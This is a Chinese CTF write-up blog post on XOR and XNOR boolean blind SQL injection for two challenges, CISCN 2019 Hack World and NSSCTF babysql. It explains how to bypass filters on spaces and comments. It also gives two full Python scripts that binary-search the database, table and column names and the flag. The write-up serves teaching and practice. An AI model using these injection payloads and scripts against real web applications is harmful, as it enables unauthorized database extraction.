提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
提示:这里可以添加本文要记录的大概内容:
最近做题的时候,遇到了两道异或以及同或的题目,一起做个总结。
提示:以下是本篇文章正文内容,下面案例可供参考
一、异或和同或
异或就是相同为0,不同为1,当一个数进行了两次相同的异或,等于本身,在mysql中符号为^
同或就是相同为1,不同为0,在mysql中符号为!=!
二、[CISCN 2019华北Day2]Web1 Hack World
进入题目:题目直接给了提示,给出了flag的位置,随便输东西,发现只能输bool型的,输0会出现Error,输1会出现Hello, glzjin wants a girlfriend,输2出现Do you want to be my girlfriend。

尝试下,发现过滤了挺多东西的,过滤了#、--、空格、//、or、and等。过滤了空格和//可以通过()包括绕过,过滤了注释符,意味着报错,联合注入都不好使,显然是布尔注入,发现可以进行异或或者同或注入。


同或一样可以。id=1!=!0会回显Error、id=1!=!1会回显Hello, glzjin wants a girlfriend。
直接上脚本:
import time import requests url = 'http://1.14.71.254:28942/index.php' flag = '' for i in range(1, 100): min = 1 max = 130 mid = int((min + max) / 2) while min < max: data = { #"id": f'0^if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0)' 异或 "id": f"1!=!(if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0))" #同或 } resp = requests.post(url, data=data) time.sleep(0.5) if 'Hello' in resp.text: min = mid + 1 mid = int((min + max) / 2) else: max = mid mid = int((min + max) / 2) flag += chr(mid) print(flag)
讯享网
三、 [NSSCTF 2022 Spring Recruit]babysql
进入题目:提示输入tarnish,输入以后出现String(39)前有flag句,同样尝试tarnish'出现回显走进死胡同,输入#、--出现了过滤的字符。

过滤了/、if、and、空格、#、--字符,又是过滤了注释符,过滤了空格可以使用//绕过,这里只能往闭合注入想,首先想到能不能进行异或注入,尝试了一下,怎么都是死胡同,往同或方向靠,结果是可以。


讯享网import requests asc_str = '0abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!{}' url = "http://1.14.71.254:28589" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/ Firefox/103.0", } result = '' for times in range(1, 88): min = 0 max = 128 mid = (min + max) // 2 while min < max: # payload = f"tarnish'//!=!//(ascii(substr((select//database()),{times},1))>{mid})//!=!//'0" #test # payload = f"tarnish'//!=!//(ascii(substr((select//group_concat(table_name)//from//information_schema.tables//where//table_schema=database()),{times},1))>{mid})//!=!//'0" #flag,users # payload = f"tarnish'//!=!//(ascii(substr((select//group_concat(column_name)//from//information_schema.columns//where//table_name='flag'),{times},1))>{mid})//!=!//'0" #flag payload = f"tarnish'//!=!//(ascii(substr((select//group_concat(flag)//from//test.flag),{times},1))>{mid})//!=!//'0" data = {"username": payload} resp = requests.post(url, headers=headers, data=data) if 'string(25)' in resp.text: min = mid + 1 else: max = mid mid = (min + max) // 2 result += chr(min) print(result)

这里有个坑,flag前面有些字符没法显现,搞的我以为脚本错了...
总结
异或和同或注入都归于布尔注入的类型,通过两道题大致可以看出,当过滤了注释符难以使用其它注入时,可以考虑往这方面想。



版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/15392.html